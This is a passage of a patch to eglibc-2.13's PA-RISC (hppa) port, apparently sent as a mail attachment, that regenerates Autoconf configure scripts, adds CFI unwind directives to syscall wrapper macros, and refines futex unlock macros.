+# Exit the shell with STATUS, even in a "trap 0" or "set -e" context.
+as_fn_exit ()
+{
+  set +e
+  as_fn_set_status $1
+  exit $1
+} # as_fn_exit
+if expr a : '\(a\)' >/dev/null 2>&1 &&
+   test "X`expr 00001 : '.*\(...\)'`" = X001; then
+  as_expr=expr
+else
+  as_expr=false
+fi
+
+if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then
+  as_basename=basename
+else
+  as_basename=false
+fi
+
+as_me=`$as_basename -- "$0" ||
+$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \
+        X"$0" : 'X\(//\)$' \| \
+        X"$0" : 'X\(/\)' \| . 2>/dev/null ||
+$as_echo X/"$0" |
+    sed '/^.*\/\([^/][^/]*\)\/*$/{
+           s//\1/
+           q
+         }
+         /^X\/\(\/\/\)$/{
+           s//\1/
+           q
+         }
+         /^X\/\(\/\).*/{
+           s//\1/
+           q
+         }
+         s/.*/./; q'`
+
+
+  as_lineno_1=$LINENO as_lineno_1a=$LINENO
+  as_lineno_2=$LINENO as_lineno_2a=$LINENO
+  eval 'test "x$as_lineno_1'$as_run'" != "x$as_lineno_2'$as_run'" &&
+  test "x`expr $as_lineno_1'$as_run' + 1`" = "x$as_lineno_2'$as_run'"' || {
+  # Blame Lee E. McMahon (1931-1989) for sed's syntax.  :-)
+  sed -n '
+    p
+    /[$]LINENO/=
+  ' <$as_myself |
+    sed '
+      s/[$]LINENO.*/&-/
+      t lineno
+      b
+      :lineno
+      N
+      :loop
+      s/[$]LINENO\([^'$as_cr_alnum'_].*\n\)\(.*\)/\2\1\2/
+      t loop
+      s/-\n.*//
+    ' >$as_me.lineno &&
+  chmod +x "$as_me.lineno" ||
+    { $as_echo "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2; as_fn_exit 1; }
+
+  # Don't try to exec as it changes $[0], causing all sort of problems
+  # (the dirname of $[0] is not the place where we might find the
+  # original and so on.  Autoconf is especially sensitive to this).
+  . "./$as_me.lineno"
+  # Exit status is that of the last command.
+  exit
+}
+
 # This file is generated from configure.in by Autoconf.  DO NOT EDIT!
 
-{ $as_echo "$as_me:$LINENO: checking for assembler line separator" >&5
+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for assembler line separator" >&5
 $as_echo_n "checking for assembler line separator... " >&6; }
-if test "${libc_cv_asm_line_sep+set}" = set; then
+if test "${libc_cv_asm_line_sep+set}" = set; then :
   $as_echo_n "(cached) " >&6
 else
   cat > conftest.s <<EOF
 nop ; is_old_puffin
 EOF
 if { ac_try='${CC-cc} -c $ASFLAGS conftest.s 1>&5'
-  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_try\""; } >&5
   (eval $ac_try) 2>&5
   ac_status=$?
-  $as_echo "$as_me:$LINENO: \$? = $ac_status" >&5
-  (exit $ac_status); }; }; then
+  $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
+  test $ac_status = 0; }; }; then
   libc_cv_asm_line_sep='!'
 else
   if test -z "$enable_hacker_mode"; then
@@ -25,7 +107,7 @@
 fi
 rm -f conftest*
 fi
-{ $as_echo "$as_me:$LINENO: result: $libc_cv_asm_line_sep" >&5
+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $libc_cv_asm_line_sep" >&5
 $as_echo "$libc_cv_asm_line_sep" >&6; }
 cat >>confdefs.h <<_ACEOF
 #define ASM_LINE_SEP $libc_cv_asm_line_sep
Index: eglibc-2.13/ports/sysdeps/hppa/dl-fptr.h
===================================================================
--- eglibc-2.13.orig/ports/sysdeps/hppa/dl-fptr.h	2011-09-04 14:14:04.000000000 -0400
+++ eglibc-2.13/ports/sysdeps/hppa/dl-fptr.h	2011-09-04 14:20:23.000000000 -0400
@@ -22,6 +22,9 @@
 
 #include <sysdeps/generic/dl-fptr.h>
 
+/* Initialize function pointer code. Call before relocation processing.  */
+extern void _dl_fptr_init (void);
+
 /* There are currently 33 dynamic symbols in ld.so.
    ELF_MACHINE_BOOT_FPTR_TABLE_LEN needs to be at least that big.  */
 #define ELF_MACHINE_BOOT_FPTR_TABLE_LEN 64	
Index: eglibc-2.13/ports/sysdeps/hppa/dl-machine.h
===================================================================
--- eglibc-2.13.orig/ports/sysdeps/hppa/dl-machine.h	2011-09-04 14:14:30.000000000 -0400
+++ eglibc-2.13/ports/sysdeps/hppa/dl-machine.h	2011-09-04 14:20:23.000000000 -0400
@@ -1,6 +1,5 @@
 /* Machine-dependent ELF dynamic relocation inline functions.  PA-RISC version.
-   Copyright (C) 1995-1997,1999-2003
-	Free Software Foundation, Inc.
+   Copyright (C) 1995-1997,1999-2003, 2010 Free Software Foundation, Inc.
    Contributed by David Huggins-Daines <dhd@debian.org>
    This file is part of the GNU C Library.
 
Index: eglibc-2.13/ports/sysdeps/hppa/dl-tls.h
===================================================================
--- eglibc-2.13.orig/ports/sysdeps/hppa/dl-tls.h	2011-09-04 14:14:57.000000000 -0400
+++ eglibc-2.13/ports/sysdeps/hppa/dl-tls.h	2011-09-04 14:20:23.000000000 -0400
@@ -1,5 +1,5 @@
 /* Thread-local storage handling in the ELF dynamic linker.  hppa version.
-   Copyright (C) 2003 Free Software Foundation, Inc.
+   Copyright (C) 2003, 2011 Free Software Foundation, Inc.
    This file is part of the GNU C Library.
 
    The GNU C Library is free software; you can redistribute it and/or
@@ -27,3 +27,6 @@
 
 
 extern void *__tls_get_addr (tls_index *ti);
+
+/* Value used for dtv entries for which the allocation is delayed.  */
+#define TLS_DTV_UNALLOCATED	((void *) -1l)
Index: eglibc-2.13/ports/sysdeps/hppa/elf/configure
===================================================================
--- eglibc-2.13.orig/ports/sysdeps/hppa/elf/configure	2011-09-04 14:15:24.000000000 -0400
+++ eglibc-2.13/ports/sysdeps/hppa/elf/configure	2011-09-04 14:45:59.000000000 -0400
@@ -1,12 +1,94 @@
+
+# as_fn_set_status STATUS
+# -----------------------
+# Set $? to STATUS, without forking.
+as_fn_set_status ()
+{
+  return $1
+} # as_fn_set_status
+
+# as_fn_exit STATUS
+# -----------------
+# Exit the shell with STATUS, even in a "trap 0" or "set -e" context.
+as_fn_exit ()
+{
+  set +e
+  as_fn_set_status $1
+  exit $1
+} # as_fn_exit
+if expr a : '\(a\)' >/dev/null 2>&1 &&
+   test "X`expr 00001 : '.*\(...\)'`" = X001; then
+  as_expr=expr
+else
+  as_expr=false
+fi
+
+if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then
+  as_basename=basename
+else
+  as_basename=false
+fi
+
+as_me=`$as_basename -- "$0" ||
+$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \
+        X"$0" : 'X\(//\)$' \| \
+        X"$0" : 'X\(/\)' \| . 2>/dev/null ||
+$as_echo X/"$0" |
+    sed '/^.*\/\([^/][^/]*\)\/*$/{
+           s//\1/
+           q
+         }
+         /^X\/\(\/\/\)$/{
+           s//\1/
+           q
+         }
+         /^X\/\(\/\).*/{
+           s//\1/
+           q
+         }
+         s/.*/./; q'`
+
+
+  as_lineno_1=$LINENO as_lineno_1a=$LINENO
+  as_lineno_2=$LINENO as_lineno_2a=$LINENO
+  eval 'test "x$as_lineno_1'$as_run'" != "x$as_lineno_2'$as_run'" &&
+  test "x`expr $as_lineno_1'$as_run' + 1`" = "x$as_lineno_2'$as_run'"' || {
+  # Blame Lee E. McMahon (1931-1989) for sed's syntax.  :-)
+  sed -n '
+    p
+    /[$]LINENO/=
+  ' <$as_myself |
+    sed '
+      s/[$]LINENO.*/&-/
+      t lineno
+      b
+      :lineno
+      N
+      :loop
+      s/[$]LINENO\([^'$as_cr_alnum'_].*\n\)\(.*\)/\2\1\2/
+      t loop
+      s/-\n.*//
+    ' >$as_me.lineno &&
+  chmod +x "$as_me.lineno" ||
+    { $as_echo "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2; as_fn_exit 1; }
+
+  # Don't try to exec as it changes $[0], causing all sort of problems
+  # (the dirname of $[0] is not the place where we might find the
+  # original and so on.  Autoconf is especially sensitive to this).
+  . "./$as_me.lineno"
+  # Exit status is that of the last command.
+  exit
+}
+
 # This file is generated from configure.in by Autoconf.  DO NOT EDIT!
  # Local configure fragment for sysdeps/hppa/elf.
 
 if test "$usetls" != no; then
 # Check for support of thread-local storage handling in assembler and
 # linker.
-{ $as_echo "$as_me:$LINENO: checking for hppa TLS support" >&5
+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for hppa TLS support" >&5
 $as_echo_n "checking for hppa TLS support... " >&6; }
-if test "${libc_cv_hppa_tls+set}" = set; then
+if test "${libc_cv_hppa_tls+set}" = set; then :
   $as_echo_n "(cached) " >&6
 else
   cat > conftest.s <<\EOF
@@ -41,23 +123,21 @@
 ; Done all the TLS tests.
 EOF
 if { ac_try='${CC-cc} -c $CFLAGS conftest.s 1>&5'
-  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_try\""; } >&5
   (eval $ac_try) 2>&5
   ac_status=$?
-  $as_echo "$as_me:$LINENO: \$? = $ac_status" >&5
-  (exit $ac_status); }; }; then
+  $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
+  test $ac_status = 0; }; }; then
   libc_cv_hppa_tls=yes
 else
   libc_cv_hppa_tls=no
 fi
 rm -f conftest*
 fi
-{ $as_echo "$as_me:$LINENO: result: $libc_cv_hppa_tls" >&5
+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $libc_cv_hppa_tls" >&5
 $as_echo "$libc_cv_hppa_tls" >&6; }
 if test $libc_cv_hppa_tls = yes; then
-  cat >>confdefs.h <<\_ACEOF
-#define HAVE_TLS_SUPPORT 1
-_ACEOF
+  $as_echo "#define HAVE_TLS_SUPPORT 1" >>confdefs.h
 
 fi
 fi
Index: eglibc-2.13/ports/sysdeps/hppa/fpu/fegetenv.c
===================================================================
--- eglibc-2.13.orig/ports/sysdeps/hppa/fpu/fegetenv.c	2011-09-04 14:15:52.000000000 -0400
+++ eglibc-2.13/ports/sysdeps/hppa/fpu/fegetenv.c	2011-09-04 14:20:23.000000000 -0400
@@ -1,5 +1,5 @@
 /* Store current floating-point environment.
-   Copyright (C) 2000 Free Software Foundation, Inc.
+   Copyright (C) 2000, 2011 Free Software Foundation, Inc.
    This file is part of the GNU C Library.
    Contributed by David Huggins-Daines <dhd@debian.org>, 2000
 
Index: eglibc-2.13/ports/sysdeps/hppa/fpu/feupdateenv.c
===================================================================
--- eglibc-2.13.orig/ports/sysdeps/hppa/fpu/feupdateenv.c	2011-09-04 14:16:18.000000000 -0400
+++ eglibc-2.13/ports/sysdeps/hppa/fpu/feupdateenv.c	2011-09-04 14:20:23.000000000 -0400
@@ -1,5 +1,5 @@
 /* Install given floating-point environment and raise exceptions.
-   Copyright (C) 2000 Free Software Foundation, Inc.
+   Copyright (C) 2000, 2011 Free Software Foundation, Inc.
    This file is part of the GNU C Library.
    Contributed by David Huggins-Daines <dhd@debian.org>, 2000
 
Index: eglibc-2.13/ports/sysdeps/hppa/fpu/ftestexcept.c
===================================================================
--- eglibc-2.13.orig/ports/sysdeps/hppa/fpu/ftestexcept.c	2011-09-04 14:16:49.000000000 -0400
+++ eglibc-2.13/ports/sysdeps/hppa/fpu/ftestexcept.c	2011-09-04 14:20:23.000000000 -0400
@@ -1,5 +1,5 @@
 /* Test exception in current environment.
-   Copyright (C) 2000 Free Software Foundation, Inc.
+   Copyright (C) 2000, 2011 Free Software Foundation, Inc.
    This file is part of the GNU C Library.
    Contributed by David Huggins-Daines <dhd@debian.org>, 2000
 
Index: eglibc-2.13/ports/sysdeps/hppa/stackinfo.h
===================================================================
--- eglibc-2.13.orig/ports/sysdeps/hppa/stackinfo.h	2011-09-04 14:17:22.000000000 -0400
+++ eglibc-2.13/ports/sysdeps/hppa/stackinfo.h	2011-09-04 14:20:23.000000000 -0400
@@ -22,6 +22,12 @@
 #ifndef _STACKINFO_H
 #define _STACKINFO_H	1
 
+#include <elf.h>
+
+/* Default to an executable stack.  PF_X can be overridden if PT_GNU_STACK is
+ * present, but it is presumed absent.  */
+#define DEFAULT_STACK_PERMS (PF_R|PF_W|PF_X)
+
 /* On PA the stack grows up.  */
 #define _STACK_GROWS_UP	1
 
Index: eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/bits/fcntl.h
===================================================================
--- eglibc-2.13.orig/ports/sysdeps/unix/sysv/linux/hppa/bits/fcntl.h	2011-09-04 14:17:42.000000000 -0400
+++ eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/bits/fcntl.h	2011-09-04 14:20:23.000000000 -0400
@@ -1,5 +1,5 @@
-/* O_*, F_*, FD_* bit values for Linux/HPPA.
-   Copyright (C) 1995,1996,1997,1998,1999,2000,2002,2004
+/* O_*, F_*, FD_* bit values for Linux.
+   Copyright (C) 1995, 1996, 1997, 1998, 1999, 2000, 2002, 2004, 2010
    Free Software Foundation, Inc.
    This file is part of the GNU C Library.
 
@@ -29,7 +29,7 @@
 
 
 /* open/fcntl - O_SYNC is only implemented on blocks devices and on files
-   located on an ext2 file system */
+   located on a few file systems.  */
 #define O_ACCMODE	   0003
 #define O_RDONLY	     00
 #define O_WRONLY	     01
Index: eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/nptl/sysdep-cancel.h
===================================================================
--- eglibc-2.13.orig/ports/sysdeps/unix/sysv/linux/hppa/nptl/sysdep-cancel.h	2011-09-04 14:18:10.000000000 -0400
+++ eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/nptl/sysdep-cancel.h	2011-09-04 14:20:23.000000000 -0400
@@ -61,11 +61,53 @@
    
 # undef PSEUDO
 # define PSEUDO(name, syscall_name, args)				\
+	ENTRY (__##syscall_name##_nocancel)				\
+	DOARGS_##args					ASM_LINE_SEP	\
+	stwm TREG, 64(%sp)				ASM_LINE_SEP	\
+	.cfi_offset TREG, 0				ASM_LINE_SEP	\
+	.cfi_adjust_cfa_offset 64			ASM_LINE_SEP	\
+	stw %sp, -4(%sp)				ASM_LINE_SEP	\
+	.cfi_offset 30, -4				ASM_LINE_SEP	\
+	stw %r19, -32(%sp)				ASM_LINE_SEP	\
+	.cfi_offset 19, -32				ASM_LINE_SEP	\
+	/* Save r19 */					ASM_LINE_SEP	\
+	SAVE_PIC(TREG)					ASM_LINE_SEP	\
+	/* Do syscall, delay loads # */			ASM_LINE_SEP	\
+	ble  0x100(%sr2,%r0)				ASM_LINE_SEP	\
+	ldi SYS_ify (syscall_name), %r20 /* delay */	ASM_LINE_SEP	\
+	ldi NO_ERROR,%r1				ASM_LINE_SEP	\
+	cmpb,>>=,n %r1,%ret0,L(pre_nc_end)		ASM_LINE_SEP	\
+	/* Restore r19 from TREG */			ASM_LINE_SEP	\
+	LOAD_PIC(TREG) /* delay */			ASM_LINE_SEP	\
+	SYSCALL_ERROR_HANDLER				ASM_LINE_SEP	\
+	/* Use TREG for temp storage */			ASM_LINE_SEP	\
+	copy %ret0, TREG /* delay */			ASM_LINE_SEP	\
+	/* OPTIMIZE: Don't reload r19 */		ASM_LINE_SEP	\
+	/* do a -1*syscall_ret0 */			ASM_LINE_SEP	\
+	sub %r0, TREG, TREG				ASM_LINE_SEP	\
+	/* Store into errno location */			ASM_LINE_SEP	\
+	stw TREG, 0(%sr0,%ret0)				ASM_LINE_SEP	\
+	/* return -1 as error */			ASM_LINE_SEP	\
+	ldi -1, %ret0					ASM_LINE_SEP	\
+L(pre_nc_end):						ASM_LINE_SEP	\
+	/* No need to LOAD_PIC */			ASM_LINE_SEP	\
+	/* Undo frame */				ASM_LINE_SEP	\
+	ldwm -64(%sp),TREG				ASM_LINE_SEP	\
+	.cfi_adjust_cfa_offset -64			ASM_LINE_SEP	\
+	/* Restore rp before exit */			ASM_LINE_SEP	\
+	ldw -20(%sp), %rp				ASM_LINE_SEP	\
+	.cfi_restore 2					ASM_LINE_SEP	\
+	ret						ASM_LINE_SEP	\
+	END(__##syscall_name##_nocancel)		ASM_LINE_SEP	\
+	/**********************************************/ASM_LINE_SEP	\
 	ENTRY (name)							\
 	DOARGS_##args					ASM_LINE_SEP	\
 	stwm TREG, 64(%sp)				ASM_LINE_SEP	\
+	.cfi_adjust_cfa_offset 64			ASM_LINE_SEP	\
 	stw %sp, -4(%sp)				ASM_LINE_SEP	\
+	.cfi_offset 30, -4				ASM_LINE_SEP	\
 	stw %r19, -32(%sp)				ASM_LINE_SEP	\
+	.cfi_offset 19, -32				ASM_LINE_SEP	\
 	/* Done setting up frame, continue... */	ASM_LINE_SEP	\
 	SINGLE_THREAD_P					ASM_LINE_SEP	\
 	cmpib,<>,n 0,%ret0,L(pseudo_cancel)		ASM_LINE_SEP	\
@@ -128,26 +170,40 @@
 	/* No need to LOAD_PIC */			ASM_LINE_SEP	\
 	/* Undo frame */				ASM_LINE_SEP	\
 	ldwm -64(%sp),TREG				ASM_LINE_SEP	\
+	.cfi_adjust_cfa_offset -64			ASM_LINE_SEP	\
 	/* Restore rp before exit */			ASM_LINE_SEP	\
-	ldw -20(%sp), %rp				ASM_LINE_SEP
+	ldw -20(%sp), %rp				ASM_LINE_SEP	\
+	.cfi_restore 2					ASM_LINE_SEP
 
 /* Save arguments into our frame */
 # define PUSHARGS_0	/* nothing to do */
-# define PUSHARGS_1	PUSHARGS_0 stw %r26, -36(%sr0,%sp)	ASM_LINE_SEP
-# define PUSHARGS_2	PUSHARGS_1 stw %r25, -40(%sr0,%sp)	ASM_LINE_SEP
-# define PUSHARGS_3	PUSHARGS_2 stw %r24, -44(%sr0,%sp)	ASM_LINE_SEP
-# define PUSHARGS_4	PUSHARGS_3 stw %r23, -48(%sr0,%sp)	ASM_LINE_SEP
-# define PUSHARGS_5	PUSHARGS_4 stw %r22, -52(%sr0,%sp)	ASM_LINE_SEP 
-# define PUSHARGS_6	PUSHARGS_5 stw %r21, -56(%sr0,%sp)	ASM_LINE_SEP
+# define PUSHARGS_1	PUSHARGS_0 stw %r26, -36(%sr0,%sp)	ASM_LINE_SEP	\
+			.cfi_offset 26, -36			ASM_LINE_SEP
+# define PUSHARGS_2	PUSHARGS_1 stw %r25, -40(%sr0,%sp)	ASM_LINE_SEP	\
+			.cfi_offset 25, -40			ASM_LINE_SEP
+# define PUSHARGS_3	PUSHARGS_2 stw %r24, -44(%sr0,%sp)	ASM_LINE_SEP	\
+			.cfi_offset 24, -44			ASM_LINE_SEP
+# define PUSHARGS_4	PUSHARGS_3 stw %r23, -48(%sr0,%sp)	ASM_LINE_SEP	\
+			.cfi_offset 23, -48			ASM_LINE_SEP
+# define PUSHARGS_5	PUSHARGS_4 stw %r22, -52(%sr0,%sp)	ASM_LINE_SEP	\
+			.cfi_offset 22, -52			ASM_LINE_SEP
+# define PUSHARGS_6	PUSHARGS_5 stw %r21, -56(%sr0,%sp)	ASM_LINE_SEP	\
+			.cfi_offset 21, -56			ASM_LINE_SEP
 
 /* Bring them back from the stack */
 # define POPARGS_0	/* nothing to do */
-# define POPARGS_1	POPARGS_0 ldw -36(%sr0,%sp), %r26	ASM_LINE_SEP
-# define POPARGS_2	POPARGS_1 ldw -40(%sr0,%sp), %r25	ASM_LINE_SEP
-# define POPARGS_3	POPARGS_2 ldw -44(%sr0,%sp), %r24	ASM_LINE_SEP
-# define POPARGS_4	POPARGS_3 ldw -48(%sr0,%sp), %r23	ASM_LINE_SEP
-# define POPARGS_5	POPARGS_4 ldw -52(%sr0,%sp), %r22	ASM_LINE_SEP
-# define POPARGS_6	POPARGS_5 ldw -56(%sr0,%sp), %r21	ASM_LINE_SEP
+# define POPARGS_1	POPARGS_0 ldw -36(%sr0,%sp), %r26	ASM_LINE_SEP	\
+			.cfi_restore 26				ASM_LINE_SEP
+# define POPARGS_2	POPARGS_1 ldw -40(%sr0,%sp), %r25	ASM_LINE_SEP	\
+			.cfi_restore 25				ASM_LINE_SEP
+# define POPARGS_3	POPARGS_2 ldw -44(%sr0,%sp), %r24	ASM_LINE_SEP	\
+			.cfi_restore 24				ASM_LINE_SEP
+# define POPARGS_4	POPARGS_3 ldw -48(%sr0,%sp), %r23	ASM_LINE_SEP	\
+			.cfi_restore 23				ASM_LINE_SEP
+# define POPARGS_5	POPARGS_4 ldw -52(%sr0,%sp), %r22	ASM_LINE_SEP	\
+			.cfi_restore 22				ASM_LINE_SEP
+# define POPARGS_6	POPARGS_5 ldw -56(%sr0,%sp), %r21	ASM_LINE_SEP	\
+			.cfi_restore 21				ASM_LINE_SEP
 
 # ifdef IS_IN_libpthread
 #  ifdef PIC
Index: eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/sys/procfs.h
===================================================================
--- eglibc-2.13.orig/ports/sysdeps/unix/sysv/linux/hppa/sys/procfs.h	2011-09-04 14:18:44.000000000 -0400
+++ eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/sys/procfs.h	2011-09-04 14:20:23.000000000 -0400
@@ -29,10 +29,8 @@
    GDB unless you know what you are doing.  */
 
 #include <features.h>
-#include <signal.h>
 #include <sys/time.h>
 #include <sys/types.h>
-#include <sys/ucontext.h>
 #include <sys/user.h>
 
 __BEGIN_DECLS
Index: eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/sysdep.h
===================================================================
--- eglibc-2.13.orig/ports/sysdeps/unix/sysv/linux/hppa/sysdep.h	2011-09-04 14:19:27.000000000 -0400
+++ eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/sysdep.h	2011-09-04 14:20:23.000000000 -0400
@@ -22,7 +22,6 @@
 
 #include <asm/unistd.h>
 #include <sysdeps/generic/sysdep.h>
-#include <sys/syscall.h>
 
 /* In order to get __set_errno() definition in INLINE_SYSCALL.  */
 #ifndef __ASSEMBLER__
@@ -35,32 +34,28 @@
 #undef SYS_ify
 #define SYS_ify(syscall_name)	(__NR_##syscall_name)
 
+/* The vfork, fork, and clone syscalls clobber r19
+ * and r21. We list r21 as either clobbered or as an
+ * input to a 6-argument syscall. We must save and
+ * restore r19 in both PIC and non-PIC cases.
+ */ 
 /* WARNING: TREG must be a callee saves register so 
    that it doesn't have to be restored after a call 
    to another function */
-#ifdef PIC
-# define TREG %r3
-# define SAVE_PIC(SREG) copy %r19, SREG ASM_LINE_SEP
-# define LOAD_PIC(LREG) copy LREG, %r19 ASM_LINE_SEP
-/* Inline assembly defines */
-# define TREG_ASM "%r4" /* Cant clobber r3, it holds framemarker */
-# define SAVE_ASM_PIC	"       copy %%r19, %" TREG_ASM "\n"
-# define LOAD_ASM_PIC	"       copy %" TREG_ASM ", %%r19\n"
-# define CLOB_TREG	TREG_ASM ,
-# define PIC_REG_DEF	register unsigned long __r19 asm("r19");
-# define PIC_REG_USE	, "r" (__r19)
-#else
-# define TREG %r3
-# define SAVE_PIC(SREG) nop ASM_LINE_SEP
-# define LOAD_PIC(LREG) nop ASM_LINE_SEP
+#define TREG 4
+#define SAVE_PIC(SREG) \
+	copy %r19, SREG ASM_LINE_SEP	\
+	.cfi_register 19, SREG
+#define LOAD_PIC(LREG) \
+	copy LREG , %r19 ASM_LINE_SEP	\
+	.cfi_restore 19
 /* Inline assembly defines */
-# define TREG_ASM 
-# define SAVE_ASM_PIC	"nop \n"
-# define LOAD_ASM_PIC	"nop \n"
-# define CLOB_TREG
-# define PIC_REG_DEF
-# define PIC_REG_USE
-#endif
+#define TREG_ASM "%r4" /* Cant clobber r3, it holds framemarker */
+#define SAVE_ASM_PIC	"       copy %%r19, %" TREG_ASM "\n"
+#define LOAD_ASM_PIC	"       copy %" TREG_ASM ", %%r19\n"
+#define CLOB_TREG	TREG_ASM ,
+#define PIC_REG_DEF	register unsigned long __r19 asm("r19");
+#define PIC_REG_USE	, "r" (__r19)
 
 #ifdef __ASSEMBLER__
 
@@ -127,12 +122,14 @@
 	.align ALIGNARG(4)				ASM_LINE_SEP	\
 	.export C_SYMBOL_NAME(name)			ASM_LINE_SEP	\
 	.type	C_SYMBOL_NAME(name),@function		ASM_LINE_SEP	\
+	cfi_startproc					ASM_LINE_SEP	\
 	C_LABEL(name)					ASM_LINE_SEP	\
 	.PROC						ASM_LINE_SEP	\
 	.CALLINFO FRAME=64,CALLS,SAVE_RP,ENTRY_GR=3	ASM_LINE_SEP	\
 	.ENTRY						ASM_LINE_SEP	\
 	/* SAVE_RP says we do */			ASM_LINE_SEP	\
 	stw %rp, -20(%sr0,%sp)				ASM_LINE_SEP	\
+	.cfi_offset 2, -20				ASM_LINE_SEP	\
 	/*FIXME: Call mcount? (carefull with stack!) */
 
 /* Some syscall wrappers do not call other functions, and
@@ -142,18 +139,21 @@
 	.align ALIGNARG(4)				ASM_LINE_SEP	\
 	.export C_SYMBOL_NAME(name)			ASM_LINE_SEP	\
 	.type	C_SYMBOL_NAME(name),@function		ASM_LINE_SEP	\
+	cfi_startproc					ASM_LINE_SEP	\
 	C_LABEL(name)					ASM_LINE_SEP	\
 	.PROC						ASM_LINE_SEP	\
 	.CALLINFO FRAME=64,NO_CALLS,SAVE_RP,ENTRY_GR=3	ASM_LINE_SEP	\
 	.ENTRY						ASM_LINE_SEP	\
 	/* SAVE_RP says we do */			ASM_LINE_SEP	\
 	stw %rp, -20(%sr0,%sp)				ASM_LINE_SEP	\
+	.cfi_offset 2, -20				ASM_LINE_SEP	\
 	/*FIXME: Call mcount? (carefull with stack!) */
 
 #undef	END
 #define END(name)							\
   	.EXIT						ASM_LINE_SEP	\
 	.PROCEND					ASM_LINE_SEP	\
+	cfi_endproc					ASM_LINE_SEP	\
 .size	C_SYMBOL_NAME(name), .-C_SYMBOL_NAME(name)	ASM_LINE_SEP
 
 /* If compiled for profiling, call `mcount' at the start 
@@ -170,9 +170,7 @@
    which means
 	ENTRY(name)
 	DO_CALL(...)
-	nop
-	bv 0(2)
-	nop
+	bv,n 0(2)
 */
 
 #define	PSEUDO(name, syscall_name, args)			\
@@ -180,8 +178,7 @@
   /* If necc. load args from stack */		ASM_LINE_SEP	\
   DOARGS_##args					ASM_LINE_SEP	\
   DO_CALL (syscall_name, args)			ASM_LINE_SEP	\
-  UNDOARGS_##args				ASM_LINE_SEP	\
-  nop						ASM_LINE_SEP
+  UNDOARGS_##args				ASM_LINE_SEP
 
 #define ret \
   /* Return value set by ERRNO code */		ASM_LINE_SEP	\
@@ -196,8 +193,7 @@
   ENTRY_LEAF (name)				ASM_LINE_SEP	\
   DOARGS_##args					ASM_LINE_SEP	\
   DO_CALL_NOERRNO (syscall_name, args)		ASM_LINE_SEP	\
-  UNDOARGS_##args				ASM_LINE_SEP	\
-  nop						ASM_LINE_SEP
+  UNDOARGS_##args				ASM_LINE_SEP
 
 #define ret_NOERRNO ret
 
@@ -211,8 +207,7 @@
   ENTRY_LEAF (name)				ASM_LINE_SEP	\
   DOARGS_##args					ASM_LINE_SEP	\
   DO_CALL_ERRVAL (syscall_name, args)		ASM_LINE_SEP	\
-  UNDOARGS_##args				ASM_LINE_SEP	\
-  nop						ASM_LINE_SEP
+  UNDOARGS_##args				ASM_LINE_SEP
 
 #define ret_ERRVAL ret
 
@@ -290,8 +285,12 @@
 #define DO_CALL(syscall_name, args)				\
 	/* Create a frame */			ASM_LINE_SEP	\
 	stwm TREG, 64(%sp)			ASM_LINE_SEP	\
+	.cfi_offset TREG, 0			ASM_LINE_SEP	\
+	.cfi_adjust_cfa_offset 64		ASM_LINE_SEP	\
 	stw %sp, -4(%sp)			ASM_LINE_SEP	\
+	.cfi_offset 30, -4			ASM_LINE_SEP	\
 	stw %r19, -32(%sp)			ASM_LINE_SEP	\
+	.cfi_offset 19, -32			ASM_LINE_SEP	\
 	/* Save r19 */				ASM_LINE_SEP	\
 	SAVE_PIC(TREG)				ASM_LINE_SEP	\
 	/* Do syscall, delay loads # */		ASM_LINE_SEP	\
@@ -314,8 +313,10 @@
 L(pre_end):					ASM_LINE_SEP	\
 	/* Restore our frame, restoring TREG */	ASM_LINE_SEP	\
 	ldwm -64(%sp), TREG			ASM_LINE_SEP	\
+	.cfi_adjust_cfa_offset -64		ASM_LINE_SEP	\
 	/* Restore return pointer */		ASM_LINE_SEP	\
-	ldw -20(%sp),%rp			ASM_LINE_SEP
+	ldw -20(%sp),%rp			ASM_LINE_SEP	\
+	.cfi_restore 2				ASM_LINE_SEP
 
 /* We do nothing with the return, except hand it back to someone else */
 #undef  DO_CALL_NOERRNO

--Apple-Mail-6-346516678
Content-Disposition: attachment; filename="ports-2011-09-17.diff"
Content-Type: application/octet-stream; x-unix-mode=0644;
	name="ports-2011-09-17.diff"
Content-Transfer-Encoding: 7bit

Index: eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/nptl/lowlevellock.h
===================================================================
--- eglibc-2.13.orig/ports/sysdeps/unix/sysv/linux/hppa/nptl/lowlevellock.h	2011-09-05 00:09:53.000000000 -0400
+++ eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/nptl/lowlevellock.h	2011-09-17 23:07:14.000000000 -0400
@@ -288,18 +288,20 @@
   __lll_robust_timedlock (&(futex), abstime, id, private)
 
 #define __lll_unlock(futex, private) \
-  (void)					\
-  ({ int val = atomic_exchange_rel (futex, 0);  \
-     if (__builtin_expect (val > 1, 0))         \
-       lll_futex_wake (futex, 1, private);      \
+  (void)						\
+  ({ int *__futex = (futex);				\
+     int val = atomic_exchange_rel (__futex, 0);	\
+     if (__builtin_expect (val > 1, 0))			\
+       lll_futex_wake (__futex, 1, private);		\
   })
 #define lll_unlock(futex, private) __lll_unlock(&(futex), private)
 
 #define  __lll_robust_unlock(futex,private) \
-  (void)                                               \
-    ({ int val = atomic_exchange_rel (futex, 0);       \
